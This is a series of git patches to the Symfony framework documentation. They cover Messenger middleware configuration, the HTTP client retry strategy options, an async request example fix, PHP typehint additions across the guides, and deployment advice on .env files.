@@ -1565,9 +1568,12 @@ middleware and *only* include your own:
 
             <framework:config>
                 <framework:messenger>
+                    <!-- default-middleware: disable the default middleware -->
+                    <framework:bus name="messenger.bus.default" default-middleware="false"/>
+
+                    <!-- and/or add your own -->
                     <framework:middleware id="App\Middleware\MyMiddleware"/>
                     <framework:middleware id="App\Middleware\AnotherMiddleware"/>
-                    <framework:bus name="messenger.bus.default" default-middleware="false"/>
                 </framework:messenger>
             </framework:config>
         </container>
@@ -1579,11 +1585,14 @@ middleware and *only* include your own:
             'messenger' => [
                 'buses' => [
                     'messenger.bus.default' => [
+                        // disable the default middleware
+                        'default_middleware' => false,
+
+                        // and/or add your own
                         'middleware' => [
                             'App\Middleware\MyMiddleware',
                             'App\Middleware\AnotherMiddleware',
                         ],
-                        'default_middleware' => false,
                     ],
                 ],
             ],

From 19521c3a25b4d1afb3b4b8e9fe02014ac9312972 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Tue, 20 Oct 2020 09:53:08 +0200
Subject: [PATCH 1365/7107] Fix documentation about RetryStrategy

---
 http_client.rst                       |  7 ++--
 reference/configuration/framework.rst | 55 +++++++++------------------
 2 files changed, 22 insertions(+), 40 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index a54e9b125a8..e0a9d6808e3 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -710,10 +710,9 @@ original HTTP client::
     $client = new RetryableHttpClient(HttpClient::create());
 
 The ``RetryableHttpClient`` uses a
-:class:`Symfony\\Component\\HttpClient\\Retry\\RetryDeciderInterface` to
-decide if the request should be retried, and a
-:class:`Symfony\\Component\\HttpClient\\Retry\\RetryBackOffInterface` to
-define the waiting time between each retry.
+:class:`Symfony\\Component\\HttpClient\\Retry\\RetryStrategyInterface` to
+decide if the request should be retried, and to define the waiting time between
+each retry.
 
 HTTP Proxies
 ~~~~~~~~~~~~
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index cdf5451d94a..a3d6e9fd95a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -140,8 +140,7 @@ Configuration
 
     * :ref:`retry_failed <reference-http-client-retry-failed>`
 
-      * `backoff_service`_
-      * `decider_service`_
+      * `retry_strategy`_
       * :ref:`enabled <reference-http-client-retry-enabled>`
       * `delay`_
       * `http_codes`_
@@ -157,8 +156,7 @@ Configuration
 
   * :ref:`retry_failed <reference-http-client-retry-failed>`
 
-    * `backoff_service`_
-    * `decider_service`_
+    * `retry_strategy`_
     * :ref:`enabled <reference-http-client-retry-enabled>`
     * `delay`_
     * `http_codes`_
@@ -780,8 +778,7 @@ will automatically retry failed HTTP requests.
         http_client:
             # ...
             retry_failed:
-                # backoff_service: app.custom_backoff
-                # decider_service:  app.custom_decider
+                # retry_strategy: app.custom_strategy
                 http_codes: [429, 500]
                 max_retries: 2
                 delay: 1000
@@ -826,21 +823,6 @@ in the `Microsoft NTLM authentication protocol`_. The value of this option must
 follow the format ``username:password``. This authentication mechanism requires
 using the cURL-based transport.
 
-backoff_service
-...............
-
-**type**: ``string``
-
-.. versionadded:: 5.2
-
-    The ``backoff_service`` option was introduced in Symfony 5.2.
-
-The service id used to compute the time to wait between retries. By default, it
-uses an instance of
-:class:`Symfony\\Component\\HttpClient\\Retry\\ExponentialBackOff` configured
-with ``delay``, ``max_delay``, ``multiplier`` and ``jitter`` options. This
-class has to implement :class:`Symfony\\Component\\HttpClient\\Retry\\RetryBackOffInterface`.
-
 base_uri
 ........
 
@@ -909,21 +891,6 @@ ciphers
 A list of the names of the ciphers allowed for the SSL/TLS connections. They
 can be separated by colons, commas or spaces (e.g. ``'RC4-SHA:TLS13-AES-128-GCM-SHA256'``).
 
-decider_service
-...............
-
-**type**: ``string``
-
-.. versionadded:: 5.2
-
-    The ``decider_service`` option was introduced in Symfony 5.2.
-
-The service id used to decide if a request should be retried. By default, it
-uses an instance of
-:class:`Symfony\\Component\\HttpClient\\Retry\\HttpStatusCodeDecider` configured
-with the ``http_codes`` option. This class has to implement
-:class:`Symfony\\Component\\HttpClient\\Retry\\RetryDeciderInterface`.
-
 delay
 .....
 
@@ -1124,6 +1091,22 @@ client and to make your tests easier.
 The value of this option is an associative array of ``domain => IP address``
 (e.g ``['symfony.com' => '46.137.106.254', ...]``).
 
+retry_strategy
+...............
+
+**type**: ``string``
+
+.. versionadded:: 5.2
+
+    The ``retry_strategy`` option was introduced in Symfony 5.2.
+
+The service is used to decide if a request should be retried and to compute the
+time to wait between retries. By default, it uses an instance of
+:class:`Symfony\\Component\\HttpClient\\Retry\\GenericRetryStrategy` configured
+with ``http_codes``, ``delay``, ``max_delay``, ``multiplier`` and ``jitter``
+options. This class has to implement
+:class:`Symfony\\Component\\HttpClient\\Retry\\RetryStrategyInterface`.
+
 scope
 .....
 

From 4155cc270069850a6281c5cb4566aa3d03d94bbd Mon Sep 17 00:00:00 2001
From: michel v <michelv@gmail.com>
Date: Tue, 20 Oct 2020 10:43:45 +0200
Subject: [PATCH 1366/7107] use the right method when dealing with promises

sendRequest() returns a response, not a promise, and we can't use then() on a response
---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 4db3784f853..7591152da85 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1291,7 +1291,7 @@ Then you're ready to go::
 
     $httpClient = new HttplugClient();
     $request = $httpClient->createRequest('GET', 'https://my.api.com/');
-    $promise = $httpClient->sendRequest($request)
+    $promise = $httpClient->sendAsyncRequest($request)
         ->then(
             function (ResponseInterface $response) {
                 echo 'Got status '.$response->getStatusCode();

From 09a9aa0d903f154e4c62654e2c652c7750a72c58 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Mon, 30 Dec 2019 08:44:27 +0100
Subject: [PATCH 1367/7107] Update typehints

---
 components/asset.rst                        |  4 ++--
 configuration/env_var_processors.rst        |  2 +-
 form/data_mappers.rst                       |  4 ++--
 form/type_guesser.rst                       | 12 ++++++------
 forms.rst                                   |  2 +-
 frontend/custom_version_strategy.rst        |  6 +++---
 reference/dic_tags.rst                      |  4 ++--
 security/access_control.rst                 |  2 +-
 security/custom_authentication_provider.rst |  2 +-
 security/user_provider.rst                  |  6 +++---
 serializer/custom_encoders.rst              |  8 ++++----
 session/locale_sticky_session.rst           |  2 +-
 12 files changed, 27 insertions(+), 27 deletions(-)

diff --git a/components/asset.rst b/components/asset.rst
index 20b5ce20b2d..48e51754449 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -200,12 +200,12 @@ every day::
             $this->version = date('Ymd');
         }
 
-        public function getVersion($path)
+        public function getVersion(string $path)
         {
             return $this->version;
         }
 
-        public function applyVersion($path)
+        public function applyVersion(string $path)
         {
             return sprintf('%s?v=%s', $path, $this->getVersion($path));
         }
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index b9782d270cd..464bf7af984 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -631,7 +631,7 @@ create a class that implements
 
     class LowercasingEnvVarProcessor implements EnvVarProcessorInterface
     {
-        public function getEnv($prefix, $name, \Closure $getEnv)
+        public function getEnv(string $prefix, string $name, \Closure $getEnv)
         {
             $env = $getEnv($name);
 
diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index 15e66ce54b3..54081c09e47 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -98,7 +98,7 @@ in your form type::
         /**
          * @param Color|null $viewData
          */
-        public function mapDataToForms($viewData, $forms)
+        public function mapDataToForms($viewData, iterable $forms)
         {
             // there is no data yet, so nothing to prepopulate
             if (null === $viewData) {
@@ -119,7 +119,7 @@ in your form type::
             $forms['blue']->setData($viewData->getBlue());
         }
 
-        public function mapFormsToData($forms, &$viewData)
+        public function mapFormsToData(iterable $forms, &$viewData)
         {
             /** @var FormInterface[] $forms */
             $forms = iterator_to_array($forms);
diff --git a/form/type_guesser.rst b/form/type_guesser.rst
index f990aad4115..13f54999692 100644
--- a/form/type_guesser.rst
+++ b/form/type_guesser.rst
@@ -43,19 +43,19 @@ Start by creating the class and these methods. Next, you'll learn how to fill ea
 
     class PHPDocTypeGuesser implements FormTypeGuesserInterface
     {
-        public function guessType($class, $property)
+        public function guessType(string $class, string $property)
         {
         }
 
-        public function guessRequired($class, $property)
+        public function guessRequired(string $class, string $property)
         {
         }
 
-        public function guessMaxLength($class, $property)
+        public function guessMaxLength(string $class, string $property)
         {
         }
 
-        public function guessPattern($class, $property)
+        public function guessPattern(string $class, string $property)
         {
         }
     }
@@ -94,7 +94,7 @@ With this knowledge, you can implement the ``guessType()`` method of the
 
     class PHPDocTypeGuesser implements FormTypeGuesserInterface
     {
-        public function guessType($class, $property)
+        public function guessType(string $class, string $property)
         {
             $annotations = $this->readPhpDocAnnotations($class, $property);
 
@@ -129,7 +129,7 @@ With this knowledge, you can implement the ``guessType()`` method of the
             }
         }
 
-        protected function readPhpDocAnnotations($class, $property)
+        protected function readPhpDocAnnotations(string $class, string $property)
         {
             $reflectionProperty = new \ReflectionProperty($class, $property);
             $phpdoc = $reflectionProperty->getDocComment();
diff --git a/forms.rst b/forms.rst
index 5867d2f07d1..ec5a04fcfc1 100644
--- a/forms.rst
+++ b/forms.rst
@@ -672,7 +672,7 @@ Set the ``label`` option on fields to define their labels explicitly::
 
     ->add('dueDate', DateType::class, [
         // set it to FALSE to not display the label for this field
-        'label'  => 'To Be Completed Before',
+        'label' => 'To Be Completed Before',
     ])
 
 .. tip::
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index 6361ba632c0..0fe3f5ff987 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -71,13 +71,13 @@ version string::
          * @param string      $manifestPath
          * @param string|null $format
          */
-        public function __construct($manifestPath, $format = null)
+        public function __construct(string $manifestPath, string $format = null)
         {
             $this->manifestPath = $manifestPath;
             $this->format = $format ?: '%s?%s';
         }
 
-        public function getVersion($path)
+        public function getVersion(string $path)
         {
             if (!is_array($this->hashes)) {
                 $this->hashes = $this->loadManifest();
@@ -86,7 +86,7 @@ version string::
             return isset($this->hashes[$path]) ? $this->hashes[$path] : '';
         }
 
-        public function applyVersion($path)
+        public function applyVersion(string $path)
         {
             $version = $this->getVersion($path);
 
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index f7f43dca376..0aca3c91777 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -410,7 +410,7 @@ service class::
 
     class MyClearer implements CacheClearerInterface
     {
-        public function clear($cacheDirectory)
+        public function clear(string $cacheDirectory)
         {
             // clear your cache
         }
@@ -1062,7 +1062,7 @@ required option: ``alias``, which defines the name of the extractor::
         /**
          * Sets the prefix that should be used for new found messages.
          */
-        public function setPrefix($prefix)
+        public function setPrefix(string $prefix)
         {
             $this->prefix = $prefix;
         }
diff --git a/security/access_control.rst b/security/access_control.rst
index 9b345b87a24..b02b9057424 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -92,7 +92,7 @@ Take the following ``access_control`` entries as an example:
                     'path' => '^/admin',
                     'roles' => 'ROLE_USER_METHOD',
                     'methods' => 'POST, PUT',
-                ]
+                ],
             ],
         ]);
 
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index 3199128b26a..4a0a5be4407 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -410,7 +410,7 @@ to service ids that may not exist yet: ``App\Security\Authentication\Provider\Ws
 
             <services>
                 <service id="App\Security\Authentication\Provider\WsseProvider">
-                    <argument key="$cachePool" type="service" id="cache.app"></argument>
+                    <argument key="$cachePool" type="service" id="cache.app"/>
                 </service>
 
                 <service id="App\Security\Firewall\WsseListener">
diff --git a/security/user_provider.rst b/security/user_provider.rst
index 000a7a49a38..5fcf19f3bf2 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -135,7 +135,7 @@ interface only requires one method: ``loadUserByUsername($username)``::
     {
         // ...
 
-        public function loadUserByUsername($usernameOrEmail)
+        public function loadUserByUsername(string $usernameOrEmail)
         {
             $entityManager = $this->getEntityManager();
             
@@ -376,7 +376,7 @@ command will generate a nice skeleton to get you started::
          *
          * @throws UsernameNotFoundException if the user is not found
          */
-        public function loadUserByUsername($username)
+        public function loadUserByUsername(string $username)
         {
             // Load a User object from your data source or throw UsernameNotFoundException.
             // The $username argument may not actually be a username:
@@ -412,7 +412,7 @@ command will generate a nice skeleton to get you started::
         /**
          * Tells Symfony to use this provider for this User class.
          */
-        public function supportsClass($class)
+        public function supportsClass(string $class)
         {
             return User::class === $class || is_subclass_of($class, User::class);
         }
diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
index 5bb78def4e4..e6bae859336 100644
--- a/serializer/custom_encoders.rst
+++ b/serializer/custom_encoders.rst
@@ -27,22 +27,22 @@ create your own encoder that uses the
 
     class YamlEncoder implements EncoderInterface, DecoderInterface
     {
-        public function encode($data, $format, array $context = [])
+        public function encode($data, string $format, array $context = [])
         {
             return Yaml::dump($data);
         }
 
-        public function supportsEncoding($format)
+        public function supportsEncoding(string $format)
         {
             return 'yaml' === $format;
         }
 
-        public function decode($data, $format, array $context = [])
+        public function decode(string $data, string $format, array $context = [])
         {
             return Yaml::parse($data);
         }
 
-        public function supportsDecoding($format)
+        public function supportsDecoding(string $format)
         {
             return 'yaml' === $format;
         }
diff --git a/session/locale_sticky_session.rst b/session/locale_sticky_session.rst
index f8caef23370..056f2a674cb 100644
--- a/session/locale_sticky_session.rst
+++ b/session/locale_sticky_session.rst
@@ -28,7 +28,7 @@ correct locale however you want::
     {
         private $defaultLocale;
 
-        public function __construct($defaultLocale = 'en')
+        public function __construct(string $defaultLocale = 'en')
         {
             $this->defaultLocale = $defaultLocale;
         }

From b905b571fa8368f1b01600aaf337ae750a4d4956 Mon Sep 17 00:00:00 2001
From: Cristi Contiu <cristian.contiu@bixel.ro>
Date: Sat, 8 Feb 2020 21:47:34 +0200
Subject: [PATCH 1368/7107] Update deployment docs with new .env loading

---
 deployment.rst | 20 ++++++++++++++------
 1 file changed, 14 insertions(+), 6 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index 85b772b3a55..5d02bae0e58 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -126,21 +126,29 @@ While developing locally, you'll usually store these in ``.env`` and ``.env.loca
 
 1. Create "real" environment variables. How you set environment variables, depends
    on your setup: they can be set at the command line, in your Nginx configuration,
-   or via other methods provided by your hosting service.
+   or via other methods provided by your hosting service;
 
-2. Or, create a ``.env.local`` file like your local development (see note below)
+2. Or, create a ``.env.local`` file like your local development.
 
 There is no significant advantage to either of the two options: use whatever is
 most natural in your hosting environment.
 
-.. note::
+.. tip::
+
+    You might not want your application to process the ``.env.*`` files on
+    every request. You can generate an optimized ``.env.local.php`` which
+    overrides all other configuration files:
+
+    .. code-block:: terminal
+
+        $ composer dump-env prod
 
-    If you use the ``.env.*`` files on production, you may need to move your
-    ``symfony/dotenv`` dependency from ``require-dev`` to ``require`` in ``composer.json``:
+    The generated file will contain all the configuration stored in ``.env``. If you
+    want to rely only on environment variables, generate one without any values using:
 
     .. code-block:: terminal
 
-        $ composer require symfony/dotenv
+        $ composer dump-env prod --empty
 
 C) Install/Update your Vendors
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From e1277a5d37ab10e5b86c2260ea62af0e231b5a60 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 18 Apr 2020 23:55:41 +0200
Subject: [PATCH 1369/7107] Added PHP typehints to getting started guides

---
 configuration.rst |  3 +-
 controller.rst    | 41 ++++++++++++++------
 page_creation.rst |  4 +-
 routing.rst       | 95 ++++++++++++++++++++++++++++++-----------------
 templates.rst     | 13 ++++---
 5 files changed, 102 insertions(+), 54 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 6efd3283733..e25e18efd5b 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -765,12 +765,13 @@ use the ``getParameter()`` helper::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
 
     class UserController extends AbstractController
     {
         // ...
 
-        public function index()
+        public function index(): Response
         {
             $projectDir = $this->getParameter('kernel.project_dir');
             $adminEmail = $this->getParameter('app.admin_email');
diff --git a/controller.rst b/controller.rst
index d29608e6128..212d0a2b509 100644
--- a/controller.rst
+++ b/controller.rst
@@ -36,7 +36,7 @@ class::
         /**
          * @Route("/lucky/number/{max}", name="app_lucky_number")
          */
-        public function number($max)
+        public function number(int $max): Response
         {
             $number = random_int(0, $max);
 
@@ -134,7 +134,7 @@ and ``redirect()`` methods::
     use Symfony\Component\HttpFoundation\RedirectResponse;
 
     // ...
-    public function index()
+    public function index(): RedirectResponse
     {
         // redirects to the "homepage" route
         return $this->redirectToRoute('homepage');
@@ -196,12 +196,13 @@ If you need a service in a controller, type-hint an argument with its class
 (or interface) name. Symfony will automatically pass you the service you need::
 
     use Psr\Log\LoggerInterface;
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
     /**
      * @Route("/lucky/number/{max}")
      */
-    public function number($max, LoggerInterface $logger)
+    public function number(int $max, LoggerInterface $logger): Response
     {
         $logger->info('We are logging!');
         // ...
@@ -322,10 +323,11 @@ Managing Errors and 404 Pages
 When things are not found, you should return a 404 response. To do this, throw a
 special type of exception::
 
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Exception\NotFoundHttpException;
 
     // ...
-    public function index()
+    public function index(): Response
     {
         // retrieve the object from database
         $product = ...;
@@ -370,8 +372,10 @@ object. To access it in your controller, add it as an argument and
 **type-hint it with the Request class**::
 
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
+    // ...
 
-    public function index(Request $request, $firstName, $lastName)
+    public function index(Request $request, string $firstName, string $lastName): Response
     {
         $page = $request->query->get('page', 1);
 
@@ -401,9 +405,11 @@ Session storage and other configuration can be controlled under the
 To get the session, add an argument and type-hint it with
 :class:`Symfony\\Component\\HttpFoundation\\Session\\SessionInterface`::
 
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpFoundation\Session\SessionInterface;
+    // ...
 
-    public function index(SessionInterface $session)
+    public function index(SessionInterface $session): Response
     {
         // stores an attribute for reuse during a later user request
         $session->set('foo', 'bar');
@@ -413,6 +419,8 @@ To get the session, add an argument and type-hint it with
 
         // uses a default value if the attribute doesn't exist
         $filters = $session->get('filters', []);
+
+        // ...
     }
 
 Stored attributes remain in the session for the remainder of that user's session.
@@ -435,8 +443,10 @@ from the session automatically as soon as you retrieve them. This feature makes
 For example, imagine you're processing a :doc:`form </forms>` submission::
 
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
+    // ...
 
-    public function update(Request $request)
+    public function update(Request $request): Response
     {
         // ...
 
@@ -515,8 +525,9 @@ pass the ``Request`` object to any controller argument that is type-hinted with
 the ``Request`` class::
 
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
 
-    public function index(Request $request)
+    public function index(Request $request): Response
     {
         $request->isXmlHttpRequest(); // is it an Ajax request?
 
@@ -572,7 +583,7 @@ To get the value of any :ref:`configuration parameter <configuration-parameters>
 from a controller, use the ``getParameter()`` helper method::
 
     // ...
-    public function index()
+    public function index(): Response
     {
         $contentsDir = $this->getParameter('kernel.project_dir').'/contents';
         // ...
@@ -584,8 +595,10 @@ Returning JSON Response
 To return JSON from a controller, use the ``json()`` helper method. This returns a
 ``JsonResponse`` object that encodes the data automatically::
 
+    use Symfony\Component\HttpFoundation\Response;
     // ...
-    public function index()
+
+    public function index(): Response
     {
         // returns '{"username":"jane.doe"}' and sets the proper Content-Type header
         return $this->json(['username' => 'jane.doe']);
@@ -604,7 +617,10 @@ Streaming File Responses
 You can use the :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::file`
 helper to serve a file from inside a controller::
 
-    public function download()
+    use Symfony\Component\HttpFoundation\Response;
+    // ...
+
+    public function download(): Response
     {
         // send the file contents and force the browser to download it
         return $this->file('/path/to/some_file.pdf');
@@ -614,8 +630,9 @@ The ``file()`` helper provides some arguments to configure its behavior::
 
     use Symfony\Component\HttpFoundation\File\File;
     use Symfony\Component\HttpFoundation\ResponseHeaderBag;
+    // ...
 
-    public function download()
+    public function download(): Response
     {
         // load the file from the filesystem
         $file = new File('/path/to/some_file.pdf');
diff --git a/page_creation.rst b/page_creation.rst
index 1835308804e..90096beb4d4 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -226,13 +226,15 @@ variable so you can use it in Twig::
     // src/Controller/LuckyController.php
     namespace App\Controller;
 
+    use Symfony\Component\HttpFoundation\Response;
     // ...
+
     class LuckyController extends AbstractController
     {
         /**
          * @Route("/lucky/number")
          */
-        public function number()
+        public function number(): Response
         {
             $number = random_int(0, 100);
 
diff --git a/routing.rst b/routing.rst
index 75755c31d40..5aaebf659cd 100644
--- a/routing.rst
+++ b/routing.rst
@@ -53,6 +53,7 @@ do so, create a :doc:`controller class </controller>` like the following::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
     class BlogController extends AbstractController
@@ -60,7 +61,7 @@ do so, create a :doc:`controller class </controller>` like the following::
         /**
          * @Route("/blog", name="blog_list")
          */
-        public function list()
+        public function list(): Response
         {
             // ...
         }
@@ -161,14 +162,16 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
         // src/Controller/BlogApiController.php
         namespace App\Controller;
 
-        // ...
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Annotation\Route;
 
         class BlogApiController extends AbstractController
         {
             /**
              * @Route("/api/posts/{id}", methods={"GET","HEAD"})
              */
-            public function show(int $id)
+            public function show(int $id): Response
             {
                 // ... return a JSON response with the post
             }
@@ -176,7 +179,7 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
             /**
              * @Route("/api/posts/{id}", methods={"PUT"})
              */
-            public function edit(int $id)
+            public function edit(int $id): Response
             {
                 // ... edit a post
             }
@@ -254,6 +257,7 @@ arbitrary matching logic:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class DefaultController extends AbstractController
@@ -268,7 +272,7 @@ arbitrary matching logic:
              * expressions can also include config parameters:
              * condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
              */
-            public function contact()
+            public function contact(): Response
             {
                 // ...
             }
@@ -406,6 +410,7 @@ defined as ``/blog/{slug}``:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
@@ -415,7 +420,7 @@ defined as ``/blog/{slug}``:
             /**
              * @Route("/blog/{slug}", name="blog_show")
              */
-            public function show(string $slug)
+            public function show(string $slug): Response
             {
                 // $slug will equal the dynamic part of the URL
                 // e.g. at /blog/yay-routing, then $slug='yay-routing'
@@ -486,6 +491,7 @@ the ``{page}`` parameter using the ``requirements`` option:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
@@ -493,7 +499,7 @@ the ``{page}`` parameter using the ``requirements`` option:
             /**
              * @Route("/blog/{page}", name="blog_list", requirements={"page"="\d+"})
              */
-            public function list(int $page)
+            public function list(int $page): Response
             {
                 // ...
             }
@@ -501,7 +507,7 @@ the ``{page}`` parameter using the ``requirements`` option:
             /**
              * @Route("/blog/{slug}", name="blog_show")
              */
-            public function show($slug)
+            public function show(string $slug): Response
             {
                 // ...
             }
@@ -597,6 +603,7 @@ concise, but it can decrease route readability when requirements are complex:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
@@ -604,7 +611,7 @@ concise, but it can decrease route readability when requirements are complex:
             /**
              * @Route("/blog/{page<\d+>}", name="blog_list")
              */
-            public function list(int $page)
+            public function list(int $page): Response
             {
                 // ...
             }
@@ -665,6 +672,7 @@ other configuration formats they are defined with the ``defaults`` option:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
@@ -672,7 +680,7 @@ other configuration formats they are defined with the ``defaults`` option:
             /**
              * @Route("/blog/{page}", name="blog_list", requirements={"page"="\d+"})
              */
-            public function list(int $page = 1)
+            public function list(int $page = 1): Response
             {
                 // ...
             }
@@ -756,6 +764,7 @@ parameter:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
@@ -763,7 +772,7 @@ parameter:
             /**
              * @Route("/blog/{page<\d+>?1}", name="blog_list")
              */
-            public function list(int $page)
+            public function list(int $page): Response
             {
                 // ...
             }
@@ -831,6 +840,7 @@ controller action. Instead of ``string $slug``, add ``BlogPost $post``::
 
     use App\Entity\BlogPost;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
     class BlogController extends AbstractController
@@ -840,7 +850,7 @@ controller action. Instead of ``string $slug``, add ``BlogPost $post``::
         /**
          * @Route("/blog/{slug}", name="blog_show")
          */
-        public function show(BlogPost $post)
+        public function show(BlogPost $post): Response
         {
             // $post is the object whose slug matches the routing parameter
 
@@ -893,7 +903,10 @@ and in route imports. Symfony defines some special attributes with the same name
         // src/Controller/ArticleController.php
         namespace App\Controller;
 
-        // ...
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Annotation\Route;
+
         class ArticleController extends AbstractController
         {
             /**
@@ -907,7 +920,7 @@ and in route imports. Symfony defines some special attributes with the same name
              *     }
              * )
              */
-            public function search()
+            public function search(): Response
             {
             }
         }
@@ -982,14 +995,16 @@ the controllers of the routes:
         // src/Controller/BlogController.php
         namespace App\Controller;
 
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
-        class BlogController
+        class BlogController extends AbstractController
         {
             /**
              * @Route("/blog/{page}", name="blog_index", defaults={"page": 1, "title": "Hello world!"})
              */
-            public function index(int $page, string $title)
+            public function index(int $page, string $title): Response
             {
                 // ...
             }
@@ -1055,14 +1070,16 @@ A possible solution is to change the parameter requirements to be more permissiv
         // src/Controller/DefaultController.php
         namespace App\Controller;
 
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
-        class DefaultController
+        class DefaultController extends AbstractController
         {
             /**
              * @Route("/share/{token}", name="share", requirements={"token"=".+"})
              */
-            public function share($token)
+            public function share($token): Response
             {
                 // ...
             }
@@ -1143,17 +1160,19 @@ the common configuration using options when importing the routes.
         // src/Controller/BlogController.php
         namespace App\Controller;
 
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         /**
          * @Route("/blog", requirements={"_locale": "en|es|fr"}, name="blog_")
          */
-        class BlogController
+        class BlogController extends AbstractController
         {
             /**
              * @Route("/{_locale}", name="index")
              */
-            public function index()
+            public function index(): Response
             {
                 // ...
             }
@@ -1161,7 +1180,7 @@ the common configuration using options when importing the routes.
             /**
              * @Route("/{_locale}/posts/{slug}", name="show")
              */
-            public function show(Post $post)
+            public function show(Post $post): Response
             {
                 // ...
             }
@@ -1267,6 +1286,7 @@ information in a controller via the ``Request`` object::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
     class BlogController extends AbstractController
@@ -1274,15 +1294,15 @@ information in a controller via the ``Request`` object::
         /**
          * @Route("/blog", name="blog_list")
          */
-        public function list(Request $request)
+        public function list(Request $request): Response
         {
-            // ...
-
             $routeName = $request->attributes->get('_route');
             $routeParameters = $request->attributes->get('_route_params');
 
             // use this to get all the available attributes (not only routing ones):
             $allAttributes = $request->attributes->all();
+
+            // ...
         }
     }
 
@@ -1467,6 +1487,7 @@ host name:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class MainController extends AbstractController
@@ -1474,7 +1495,7 @@ host name:
             /**
              * @Route("/", name="mobile_homepage", host="m.example.com")
              */
-            public function mobileHomepage()
+            public function mobileHomepage(): Response
             {
                 // ...
             }
